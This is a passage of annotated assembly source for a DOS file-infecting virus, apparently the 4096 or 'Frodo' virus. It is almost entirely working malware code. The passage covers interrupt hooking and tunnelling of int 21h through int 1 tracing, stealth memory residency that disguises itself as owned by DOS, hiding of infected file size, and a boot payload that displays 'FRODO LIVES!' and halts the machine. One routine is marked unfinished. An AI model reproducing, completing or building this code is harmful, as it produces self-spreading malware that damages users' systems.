  1552.                 mov     word ptr ds:oldint13,bx
  1553.                 mov     word ptr ds:oldint13+2,es
  1554.                 mov     dl,0
  1555.                 mov     al,0Dh                  ; fixed disk interrupt
  1556.                 call    getint
  1557.                 mov     ax,es
  1558.                 cmp     ax,0C000h               ; is there a hard disk?
  1559.                 jae     harddiskpresent         ; C000+ is in BIOS
  1560.                 mov     dl,2
  1561. harddiskpresent:
  1562.                 mov     al,0Eh                  ; floppy disk interrupt
  1563.                 call    getint
  1564.                 mov     ax,es
  1565.                 cmp     ax,0C000h               ; check if floppy
  1566.                 jae     floppypresent
  1567.                 mov     dl,2
  1568. floppypresent:
  1569.                 mov     ds:tracemode,dl
  1570.                 call    replaceint1
  1571.                 mov     ds:savess,ss            ; save stack
  1572.                 mov     ds:savesp,sp
  1573.                 push    cs                      ; save these on stack for
  1574.                 mov     ax,offset setvirusints  ; return to setvirusints
  1575.                 push    ax
  1576.                 mov     ax,70h
  1577.                 mov     es,ax
  1578.                 mov     cx,0FFFFh
  1579.                 mov     al,0CBh                 ; retf
  1580.                 xor     di,di
  1581.                 repne   scasb                   ;scan es:di for retf statement
  1582.                 dec     di                      ; es:di->retf statement
  1583.                 pushf
  1584.                 push    es                      ; set up stack for iret to
  1585.                 push    di                      ; the retf statement which
  1586.                                                 ; will cause transfer of
  1587.                                                 ; control to setvirusints
  1588.                 pushf
  1589.                 pop     ax
  1590.                 or      ah,1                    ; turn on the trap flag
  1591.                 push    ax
  1592.                 in      al,21h                  ; save IMR in temporary
  1593.                 mov     ds:saveIMR,al           ; buffer and then
  1594.                 mov     al,0FFh                 ; disable all the
  1595.                 out     21h,al                  ; interrupts
  1596.                 popf
  1597.                 xor     ax,ax                   ; reset disk
  1598.                 jmp     dword ptr ds:origints   ; (int 13h call)
  1599.                                                 ; then transfer control to
  1600. setvirusints:                                   ; setvirusints
  1601.                 lds     dx,dword ptr ds:oldint1
  1602.                 mov     al,1                    ; restore old int 1 handler
  1603.                 call    setvect
  1604.                 push    cs
  1605.                 pop     ds
  1606.                 mov     dx,offset int13         ; replace old int 13h handler
  1607.                 mov     al,13h                  ; with virus's
  1608.                 call    setvect
  1609.                 mov     al,24h                  ; Get old critical error
  1610.                 call    getint                  ; handler and save its
  1611.                 mov     word ptr ds:oldint24,bx ; location
  1612.                 mov     word ptr ds:oldint24+2,es
  1613.                 mov     dx,offset int24
  1614.                 mov     al,24h                  ; Replace int 24 handler
  1615.                 call    setvect                 ; with virus's handler
  1616.                 call    restoreregs
  1617.                 retn
  1618.  
  1619.  
  1620. restoreint13and24:
  1621.                 call    saveregs
  1622.                 lds     dx,dword ptr cs:oldint13
  1623.                 mov     al,13h
  1624.                 call    setvect
  1625.                 lds     dx,dword ptr cs:oldint24
  1626.                 mov     al,24h
  1627.                 call    setvect
  1628.                 call    restoreregs
  1629.                 retn
  1630.  
  1631.  
  1632. disableBREAK:
  1633.                 mov     ax,3300h                ; Get current BREAK setting
  1634.                 call    callint21
  1635.                 mov     cs:BREAKsave,dl
  1636.                 mov     ax,3301h                ; Turn BREAK off
  1637.                 xor     dl,dl
  1638.                 call    callint21
  1639.                 retn
  1640.  
  1641.  
  1642. restoreBREAK:
  1643.                 mov     dl,cs:BREAKsave
  1644.                 mov     ax,3301h                ; restore BREAK setting
  1645.                 call    callint21
  1646.                 retn
  1647.  
  1648.  
  1649. _pushall:
  1650.                 pop     word ptr cs:pushpopalltempstore
  1651.                 pushf
  1652.                 push    ax
  1653.                 push    bx
  1654.                 push    cx
  1655.                 push    dx
  1656.                 push    si
  1657.                 push    di
  1658.                 push    ds
  1659.                 push    es
  1660.                 jmp     word ptr cs:pushpopalltempstore
  1661.  
  1662. swapvirint21:
  1663.                 les     di,dword ptr cs:oldint21; delve into original int
  1664.                 mov     si,offset jmpfarptr     ; handler and swap the first
  1665.                 push    cs                      ; 5 bytes.  This toggles it
  1666.                 pop     ds                      ; between a jmp to the virus
  1667.                 cld                             ; code and the original 5
  1668.                 mov     cx,5                    ; bytes of the int handler
  1669. swapvirint21loop:                               ; this is a tunnelling method
  1670.                 lodsb                           ; if I ever saw one
  1671.                 xchg    al,es:[di]              ; puts the bytes in DOS's
  1672.                 mov     [si-1],al               ; int 21h handler
  1673.                 inc     di
  1674.                 loop    swapvirint21loop
  1675.  
  1676.                 retn
  1677.  
  1678.  
  1679. _popall:
  1680.                 pop     word ptr cs:pushpopalltempstore
  1681.                 pop     es
  1682.                 pop     ds
  1683.                 pop     di
  1684.                 pop     si
  1685.                 pop     dx
  1686.                 pop     cx
  1687.                 pop     bx
  1688.                 pop     ax
  1689.                 popf
  1690.                 jmp     word ptr cs:pushpopalltempstore
  1691.  
  1692. restoreregs:
  1693.                 mov     word ptr cs:storecall,offset _popall
  1694.                 jmp     short do_saverestoreregs
  1695.  
  1696. saveregs:
  1697.                 mov     word ptr cs:storecall,offset _pushall
  1698. do_saverestoreregs:
  1699.                 mov     cs:storess,ss           ; save stack
  1700.                 mov     cs:storesp,sp
  1701.                 push    cs
  1702.                 pop     ss
  1703.                 mov     sp,cs:stackptr          ; set new stack
  1704.                 call    word ptr cs:storecall
  1705.                 mov     cs:stackptr,sp          ; update internal stack ptr
  1706.                 mov     ss,cs:storess           ; and restore stack to
  1707.                 mov     sp,cs:storesp           ; caller program's stack
  1708.                 retn
  1709.  
  1710.  
  1711. replaceint1:
  1712.                 mov     al,1                    ; get the old interrupt
  1713.                 call    getint                  ; 1 handler and save it
  1714.                 mov     word ptr cs:oldint1,bx  ; for later restoration
  1715.                 mov     word ptr cs:oldint1+2,es
  1716.                 push    cs
  1717.                 pop     ds
  1718.                 mov     dx,offset int1          ; set int 1 handler to
  1719.                 call    setvect                 ; the virus int handler
  1720.                 retn
  1721.  
  1722. allocatememory:
  1723.                 call    allocate_memory
  1724.                 jmp     exitotherint21
  1725.  
  1726. allocate_memory:
  1727.                 cmp     byte ptr cs:checkres,0  ; installed check
  1728.                 je      exitallocate_memory     ; exit if installed
  1729.                 cmp     bx,0FFFFh               ; finding total memory?
  1730.                 jne     exitallocate_memory     ; (virus trying to install?)
  1731.                 mov     bx,160h                 ; allocate memory to virus
  1732.                 call    callint21
  1733.                 jc      exitallocate_memory     ; exit on error
  1734.                 mov     dx,cs
  1735.                 cmp     ax,dx
  1736.                 jb      continue_allocate_memory
  1737.                 mov     es,ax
  1738.                 mov     ah,49h                  ; Free memory
  1739.                 call    callint21
  1740.                 jmp     short exitallocate_memory
  1741. continue_allocate_memory:
  1742.                 dec     dx                      ; get segment of MCB
  1743.                 mov     ds,dx
  1744.                 mov     word ptr ds:[1],0       ; mark unused MCB
  1745.                 inc     dx                      ; go to memory area
  1746.                 mov     ds,dx
  1747.                 mov     es,ax
  1748.                 push    ax
  1749.                 mov     word ptr cs:int21store+2,ax ; fixup segment
  1750.                 xor     si,si
  1751.                 mov     di,si
  1752.                 mov     cx,0B00h
  1753.                 rep     movsw                   ; copy virus up there
  1754.                 dec     ax                      ; go to MCB
  1755.                 mov     es,ax
  1756.                 mov     ax,cs:ownerfirstMCB     ; get DOS PSP ID
  1757.                 mov     es:[1],ax               ; make vir ID = DOS PSP ID
  1758.                 mov     ax,offset exitallocate_memory
  1759.                 push    ax
  1760.                 retf
  1761.  
  1762. exitallocate_memory:
  1763.                 retn
  1764.  
  1765. get_device_info:
  1766.                 mov     byte ptr cs:hide_size,2
  1767.                 jmp     exitotherint21
  1768.  
  1769. callint21: ; call original int 21h handler (tunnelled)
  1770.                 pushf
  1771.                 call    dword ptr cs:oldint21
  1772.                 retn
  1773.  
  1774. bootblock:
  1775.                 cli
  1776.                 xor     ax,ax                   ; set new stack just below
  1777.                 mov     ss,ax                   ; start of load area for
  1778.                 mov     sp,7C00h                ; boot block
  1779.                 jmp     short enter_bootblock
  1780. borderchars     db      '███ '
  1781.  
  1782. FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
  1783.                 db      11111001b,11100000b,11100011b,11000011b,10000000b
  1784.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  1785.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  1786.                 db      11110001b,11110001b,00010010b,00100100b,01000000b
  1787.                 db      10000001b,00100001b,00010010b,00100100b,01000000b
  1788.                 db      10000001b,00010000b,11100011b,11000011b,10000000b
  1789.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  1790.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  1791.                 db      10000010b,01000100b,11111000b,01110000b,11000000b
  1792.                 db      10000010b,01000100b,10000000b,10001000b,11000000b
  1793.                 db      10000010b,01000100b,10000000b,10000000b,11000000b
  1794.                 db      10000010b,01000100b,11110000b,01110000b,11000000b
  1795.                 db      10000010b,00101000b,10000000b,00001000b,11000000b
  1796.                 db      10000010b,00101000b,10000000b,10001000b,00000000b
  1797.                 db      11110010b,00010000b,11111000b,01110000b,11000000b
  1798. enter_bootblock:
  1799.                 push    cs
  1800.                 pop     ds
  1801.                 mov     dx,0B000h               ; get video page in bh
  1802.                 mov     ah,0Fh                  ; get video mode in al
  1803.                 int     10h                     ; get columns in ah
  1804.  
  1805.                 cmp     al,7                    ; check if colour
  1806.                 je      monochrome
  1807.                 mov     dx,0B800h               ; colour segment
  1808. monochrome:
  1809.                 mov     es,dx                   ; es->video segment
  1810.                 cld
  1811.                 xor     di,di
  1812.                 mov     cx,25*80                ; entire screen
  1813.                 mov     ax,720h                 ; ' ', normal attribute
  1814.                 rep     stosw                   ; clear the screen
  1815.                 mov     si,7C00h+FRODO_LIVES-bootblock
  1816.                 mov     bx,2AEh
  1817. morelinestodisplay:
  1818.                 mov     bp,5
  1819.                 mov     di,bx
  1820. displaymorebackgroundontheline:
  1821.                 lodsb                           ; get background pattern
  1822.                 mov     dh,al
  1823.                 mov     cx,8
  1824.  
  1825. displayinitialbackground:
  1826.                 mov     ax,720h
  1827.                 shl     dx,1
  1828.                 jnc     spacechar
  1829.                 mov     al,'█'
  1830. spacechar:
  1831.                 stosw
  1832.                 loop    displayinitialbackground
  1833.  
  1834.                 dec     bp
  1835.                 jnz     displaymorebackgroundontheline
  1836.                 add     bx,80*2                 ; go to next line
  1837.                 cmp     si,7C00h+enter_bootblock-bootblock
  1838.                 jb      morelinestodisplay
  1839.                 mov     ah,1                    ; set cursor mode to cx
  1840.                 int     10h
  1841.  
  1842.                 mov     al,8                    ; set new int 8 handler
  1843.                 mov     dx,7C00h+int8-bootblock ; to spin border
  1844.                 call    setvect
  1845.                 mov     ax,7FEh                 ; enable timer interrupts only
  1846.                 out     21h,al
  1847.  
  1848.                 sti
  1849.                 xor     bx,bx
  1850.                 mov     cx,1
  1851.                 jmp     short $                 ; loop forever while
  1852.                                                 ; spinning the border
  1853.  
  1854. int8:                                           ; the timer interrupt spins
  1855.                 dec     cx                      ; the border
  1856.                 jnz     endint8
  1857.                 xor     di,di
  1858.                 inc     bx
  1859.                 call    spin_border
  1860.                 call    spin_border
  1861.                 mov     cl,4                    ; wait 4 more ticks until
  1862. endint8:                                        ; next update
  1863.                 mov     al,20h                  ; Signal end of interrupt
  1864.                 out     20h,al
  1865.                 iret
  1866.  
  1867. spin_border:
  1868.                 mov     cx,28h                  ; do 40 characters across
  1869.  
  1870. dohorizontal:
  1871.                 call    lookup_border_char
  1872.                 stosw
  1873.                 stosw
  1874.                 loop    dohorizontal
  1875. patch2:
  1876.                 add     di,9Eh                  ; go to next line
  1877.                 mov     cx,17h                  ; do for next 23 lines
  1878.  
  1879. dovertical:                                     ; handle vertical borders
  1880.                 call    lookup_border_char      ; get border character
  1881.                 stosw                           ; print it on screen
  1882. patch3:
  1883.                 add     di,9Eh                  ; go to next line
  1884.                 loop    dovertical
  1885. patch1:
  1886.                 std
  1887.         ; this code handles the other half of the border
  1888.                 xor     byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
  1889.                 xor     byte ptr ds:[7C00h+patch2-bootblock+1],28h
  1890.                 xor     byte ptr ds:[7C00h+patch3-bootblock+1],28h
  1891.                 retn
  1892.  
  1893.  
  1894. lookup_border_char:
  1895.                 and     bx,3                    ; find corresponding border
  1896.                 mov     al,ds:[bx+7C00h+borderchars-bootblock]
  1897.                 inc     bx                      ; character
  1898.                 retn
  1899.  
  1900.  
  1901. setvect:
  1902.                 push    es
  1903.                 push    bx
  1904.                 xor     bx,bx
  1905.                 mov     es,bx
  1906.                 mov     bl,al                   ; int # to bx
  1907.                 shl     bx,1                    ; int # * 4 = offset in
  1908.                 shl     bx,1                    ; interrupt table
  1909.                 mov     es:[bx],dx              ; set the vector in the
  1910.                 mov     es:[bx+2],ds            ; interrupt table
  1911.                 pop     bx
  1912.                 pop     es
  1913.                 retn
  1914.  
  1915.  
  1916. writebootblock: ; this is an unfinished subroutine; it doesn't work properly
  1917.                 call    replaceint13and24
  1918.                 mov     dl,80h
  1919.                 db      0E8h, 08h, 00h, 32h,0D2h,0E8h
  1920.                 db       03h, 01h, 00h, 9Ah, 0Eh, 32h
  1921.                 db       08h, 70h, 00h, 33h, 0Eh, 2Eh
  1922.                 db       03h, 6Ch, 15h, 03h, 00h, 26h
  1923.                 db       00h, 00h, 00h, 21h, 00h, 50h
  1924.                 db       12h, 65h, 14h, 82h, 08h, 00h
  1925.                 db       0Ch, 9Ah, 0Eh, 56h, 07h, 70h
  1926.                 db       00h, 33h, 0Eh, 2Eh, 03h, 6Ch
  1927.                 db       15h,0E2h, 0Ch, 1Eh, 93h, 00h
  1928.                 db       00h,0E2h, 0Ch, 50h
  1929.  
  1930.                 org 1200h
  1931. readbuffer      dw      ? ; beginning of the read buffer
  1932. lengthMOD512    dw      ? ; EXE header item - length of image modulo 512
  1933. lengthinpages   dw      ? ; EXE header item - length of image in pages
  1934. relocationitems dw      ? ; EXE header item - # relocation items
  1935. headersize      dw      ? ; EXE header item - header size in paragraphs
  1936. minmemory       dw      ? ; EXE header item - minimum memory allocation
  1937. maxmemory       dw      ? ; EXE header item - maximum memory allocation
  1938. initialSS       dw      ? ; EXE header item - initial SS value
  1939. initialSP       dw      ? ; EXE header item - initial SP value
  1940. wordchecksum    dw      ? ; EXE header item - checksum value
  1941. initialIP       dw      ? ; EXE header item - initial IP value
  1942. initialCS       dw      ? ; EXE header item - initial CS value
  1943.                 db      12 dup (?) ; rest of header - unused
  1944. parmblock       dd      ? ; address of parameter block
  1945. filedrive       db      ? ; 0 = default drive
  1946. filetime        dw      ? ; saved file time
  1947. filedate        dw      ? ; saved file date
  1948. origints        dd      ? ; temporary scratch buffer for interrupt vectors
  1949. oldint1         dd      ? ; original interrupt 1 vector
  1950. oldint21        dd      ? ; original interrupt 21h vector
  1951. oldint13        dd      ? ; original interrupt 13h vector
  1952. oldint24        dd      ? ; original interrupt 24h vector
  1953. int13tempCSIP   dd      ? ; stores calling CS:IP of int 13h
  1954. carrierPSP      dw      ? ; carrier file PSP segment
  1955. DOSsegment      dw      ? ; segment of DOS list of lists
  1956. ownerfirstMCB   dw      ? ; owner of the first MCB
  1957. jmpfarptr       db      ? ; 0eah, jmp far ptr
  1958. int21store      dd      ? ; temporary storage for other 4 bytes
  1959.                           ; and for pointer to virus int 21h
  1960. tracemode       db      ? ; trace mode
  1961. instructionstotrace  db ? ; number of instructions to trace
  1962. handletable     dw      28h dup (?) ; array of handles
  1963. handlesleft     db      ? ; entries left in table
  1964. currentPSP      dw      ? ; storage for the current PSP segment
  1965. curfileposlow   dw      ? ; current file pointer location, low word
  1966. curfileposhigh  dw      ? ; current file pointer location, high word
  1967. filesizelow     dw      ? ; current file size, low word
  1968. filesizehigh    dw      ? ; current file size, high word
  1969. savebuffer      dw      ? ; storage for handle read, etc.
  1970. savelength      dw      ? ; functions
  1971. return_code     dw      ? ; returned in AX on exit of int 21h
  1972. int21flags      dw      ? ; storage of int 21h return flags register
  1973. tempFCB         db      25h dup (?) ; copy of the FCB
  1974. errorflag       db      ? ; 0 if no error, 1 if error
  1975. int13flags      dw      ? ; storage of int 13h return flags register
  1976. savess          dw      ? ; temporary storage of stack segment
  1977. savesp          dw      ? ; and stack pointer
  1978. BREAKsave       db      ? ; current BREAK state
  1979. checkres        db      ? ; already installed flag
  1980. initialax       dw      ? ; AX upon entry to carrier
  1981. saveIMR         db      ? ; storage for interrupt mask register
  1982. saveoffset      dw      ? ; temp storage of CS:IP of
  1983. savesegment     dw      ? ; caller to int 21h
  1984. pushpopalltempstore  dw ? ; push/popall caller address
  1985. numfreeclusters dw      ? ; total free clusters
  1986. DOSversion      db      ? ; current DOS version
  1987. hideclustercountchange db ? ; flag of whether to hide free cluster count
  1988. hide_size       db      ? ; hide filesize increase if equal to 0
  1989. copyparmblock   db      0eh dup (?) ; copy of the parameter block
  1990. origsp          dw      ? ; temporary storage of stack pointer
  1991. origss          dw      ? ; and stack segment
  1992. origcsip        dd      ? ; temporary storage of caller CS:IP
  1993. copyfilename    db      50h dup (?) ; copy of filename
  1994. storesp         dw      ? ; temporary storage of stack pointer
  1995. storess         dw      ? ; and stack segment
  1996. stackptr        dw      ? ; register storage stack pointer
  1997. storecall       dw      ? ; temporary storage of function offset
  1998.  
  1999. topstack = 1600h
  2000.  
  2001. _4096           ends
  2002.                 end
  2003.  
  2004.